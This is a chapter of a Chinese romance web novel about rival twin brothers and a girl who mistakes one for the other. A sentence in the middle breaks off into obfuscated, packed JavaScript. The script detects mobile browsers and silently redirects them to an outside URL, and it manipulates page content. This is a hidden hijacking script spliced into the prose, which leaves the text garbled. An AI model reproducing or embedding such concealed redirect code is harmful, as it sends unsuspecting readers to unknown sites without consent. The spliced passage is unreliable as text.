方朝一向不拐弯抹角，有想问的事情直接就问，不像他哥犹犹豫豫磨磨唧唧打死也不开口。
“你喜欢她？”
她有什么特别的。
特别漂亮？特别清纯？腿特别细特别长？眼形特别迷人？身上特别香？说话特别可爱？微微仰头看过来的眼神特别吸引你？问你题目的时候和她对视就日久生情？
哥，不行。
“她都分不清是你还是我。”
双胞胎从小拥有的东西就一样，方彻有的，方朝也有。衣服、书包、水壶，乃至用的笔，都一模一样。
但不知道从什么时候开始，他再也跟不上哥的脚步。
哥考第一，他再拼命也只能考第二；哥比赛拿金奖，他再准备也只能拿个银牌；哥被老师表扬，他再怎么表现也只能得到一句有进步。
追赶不上带来的挫败感，如藤蔓和凌霄花相互缠绞，使方朝厌倦了和优等生看起来相像。
于是他自甘堕落，外宿，打耳洞，抽烟喝酒，和不良学生混在一起，交换别人的女朋友，心烦就把她们一脚踢开。
方彻皱着眉注视这一切，却什么也没说。既没有告诉父母，也没有与他谈心。
他们本该是世界上最了解彼此的人，却已然分道扬镳。
“为什么不说话？”
方彻向他伸手，甚至没让人看清是什么动作，就顺走了他的打火机，在掌心擦出一长串火苗，嘴唇一吹便熄灭，收入向来平整的校服西装裤口袋里，鼓起小小一个长方形。
“少抽点。”
他没有回答他的问题，拿走打火机，径自离开。
方朝愣在原地，摸自己胸前口袋，没有；裤袋，也没有。
他哥是怎么从内袋偷走他的打火机的？
要和他哥斗，他的道行还太浅……但在别的方面，尤其是少女心思，木讷的人怎么斗得过他？
方朝掏出手机给周粥发信息。
情知有：以后你有什么问题，就给我发信息
姒水：不用去班上找你？
情知有：我来找你。
姒水：好
绘画老师从讲台走下来，周粥慌忙把手机藏到画布后面。
老师巡视了一圈，又回到讲台。可能因为她太年轻，没有威严管不住学生，大家都在下面各干各的。
周粥嘴里哼着小曲，画笔上下挪动。
“山有玉而生色，文有意而传神，而绘画也是如此。你要让你的灵魂融入画中。”
这节课开始使用色彩，之前一直练炭笔速写，沉闷的黑白两色几乎掌控了周粥整个世界。
颜料、水粉、墨汁，用什么的都有。她翻出很久以前妈妈买的24色彩铅，朴素的笔触却荟萃成一位惊才艳艳的少年。
他迎风而立，发丝纷飞飘逸，张着唇，似乎渴望拥有什么。于是周粥把流星雨搬到他幕后，希望他每个愿望都能成真。
少年看着画外的她，色彩明艳到几乎能从画里走出来。
老师走到周粥旁边，眼前一亮，“整体不错，就是叠色能力差点意思。”
毕竟这铅笔买来都不到20块钱，是母亲买给哥哥，结果被随手扔给她的。
梁艺戳戳周粥：“这人是谁啊？看着也不像学长。”
“你不认识。”周粥还未能坦然面对失去，摇了摇头。
或许有一天，她可以不再画彩色的他。可以画学长，画爸爸、妈妈，画最喜欢的外公和舅舅，而不是记挂着那幅没能送出就烧成灰的肖像。
她整理好等会儿要问学长的书，到教学楼底下等他。
风起时，菜粉蝶展翅与风共振，飞过没有花蜜的绣球花，按着既定的命轨，停在她的皮鞋上。
她垂眼盯着鞋尖，恍然不觉有另一个人站在了她面前，也盯着她的鞋尖。
“看来你比花还讨喜。”
抬头，便撞入方朝阳光灿烂的笑容。他眼尾弯出的一点浅弧，就像蝴蝶翅膀上弯弯曲曲的纹路。
有时学长不苟言笑，靠近也会刻意拉开距离；有时却又笑得这么张扬，生怕她不喜欢他似的。
周粥有些分不清，哪一个是真正的方彻呢？
“学长。”
两人坐在平时讲题的长椅，树叶将光滤成青色，斑斑驳驳滴落他眉骨，顺着鼻尖往下淌。
周粥的笔自己动起来，暴露自己曾描摹过他的笔迹。
“你的字和解法，很像我……”
“谁呀？”
“没什么。”
方朝自嘲地笑了笑，带有一丝私心，教周粥另一种解法。
他哥永远比他高一等。立体几何题，方朝只能老老实实建系，而方彻用几何法，远远地把他甩在了后头。
周粥不够谨慎，计算总是失误，纯几何法似乎更适合她。
可她仰头对你笑，露出两个纯稚的梨涡，眼睛比起倒映绿色的树影，更多是被朦胧的你完全占据，多么真诚、崇拜地说。
“学长好厉害！这个方法更简单唉，我喜欢建系。”
方朝觉得这和“我喜欢你”没什么两样。
哥应该不擅长应对这种女孩吧？
方朝走神了一会儿，发现周粥用了fz建系。
fz？
一件在时光中洗得发白的旧物，泡入一罐冰水，被怔忡的盛夏忽然捞起，变成方朝的模样。
“为什么不用xyz？”
她知道他的名字？知道他是谁？
隐秘的动荡攥紧了方朝的指节，勒得发白。仿佛被人用两个夹子，夹在她作业本里曝晒。
“因为是你教我的，”周粥伸手拂落掉在方朝肩线的树叶，对他盈盈一笑，“所以f是你，z是我。”
她的话语有回声。
方朝想。
问哥的问题，成为回旋镖扎在心扉。他与哥不同，从不逃避，敢于直面问题。
一个天使落在左肩：你喜欢她？
一个恶魔扒拉着右肩：她有什么特别的？
是啊。
她有什么特别的？
周粥咬着笔尖，又算错一个数字，把距离算出负数，看起来不聪明。
回过神时，方朝发现自己总在仰望她。
窗纱仿佛是为了衬托她而存在，在她画画时朦胧她的侧颜。周粥画画很专心，能整整一个上午不动一步，解题却解得一塌糊涂，缺点很多，笨，迷糊，遇到难题先垂头丧气。
但就是那个垂眼的瞬间。
眼睛亮亮的，像是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483116|201862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
藏着一整个需要保护，却已经足够灼热的盛夏。
目光相触的刹那，有什么东西在方朝心里轰然倒塌——
这个角度，看到的不是他。
梧桐树下，方彻静静站在那里，仰起头，努力想忽视奋力挥手的女孩。
关于理性的防线，在哥展露微笑时，碎得一塌糊涂。
好吧，她好得刚刚好。
就算分不清他们，照样能让两个人记挂，让铁树不开花的哥，露出那么蠢的表情。
方彻自然知道方朝在附近，或许正看着他，遏制不住要犯烟瘾。
弟弟不懂事，总是这样，开一些恶劣的玩笑。周粥是无辜的，如果他不帮他收烂摊子，那谁帮他呢？
情知有。
“学长！”
周粥是画也不画了，作业本也没拿，三个台阶当一个跳下来，跑到方彻身前。
方彻有些害怕她扑到自己怀里，如果真那样，他一定装不出方朝的反应。
好在女孩并没有那么横冲直撞，只站定在他前面。
“你怎么来了？”
方彻提起手中的蛋糕，就一个巴掌大小：“高三发的，就想着…你要不要吃。”
周粥双手接过，又要说那些“你最好了”之类的甜言蜜语。
方彻移开视线，他喜欢找借口，多么低劣、多么容易被拆穿的借口，都能让他寄居蟹般躲在壳后，感到莫大的安心。
“只是怕你去拿外卖摔倒。”
“我有这么不小心吗？”周粥食指轻轻戳在方彻左臂，“上次只是意外！学长能不能忘了？我很温婉的，一点也不彪悍。”
方彻凝视着她的眉眼，忽然扬唇一笑，笑起来眼尾弯弯，眼瞳摇摇欲坠，显出些许少年意气。
不知为何，周粥太阳穴内有一只小鸟在欢呼雀跃。心跳作祟，让她光是看着他颤动的睫羽，就没来由地感到一阵欣喜，像风拂过铃兰花一样。
学长这个笑，和从前见过的笑容都不一样。
方彻笑起来如此温和，好像一团浆糊轻轻抱住你，想要将你黏住，又随心所欲任你雕塑。眉上的痣，映着太阳就会变得灿金的头发，和笑起来尖尖的嘴角，全部都很帅。
他的样子，让人感到心跳骤停。
周粥从未如此强烈地和身体抢夺氧气，她觉得自己快要窒息，或是溺死，反正在学长眼里就会不上不下。
方彻给了蛋糕就回去了，剩周粥留在原地品味他甜甜的余温。
“好好吃。”
……学校居然舍得给学生发动物奶油的蛋糕。
她给学长发信息。
姒水：谢谢学长，蛋糕很好吃！
对面的人没有秒回，可能在走路，没空看手机。
周粥在想怎么给学长回礼呢，她不像同桌那样擅长烘焙，可以做各式各样的点心；也不手巧，能织出软糯不扎人的围巾；更不细腻，要是让她写情书，她一个字都想不出来。
当她回到班里，好几个人都用一种揶揄的眼神看她，仿佛她刚刚出去干了什么让人津津乐道的事。
“周粥～”
她莫名其妙地走回座位，却忽然呆住了。
因为桌上有一个，和她刚刚吃进肚子里一模一样的蛋糕。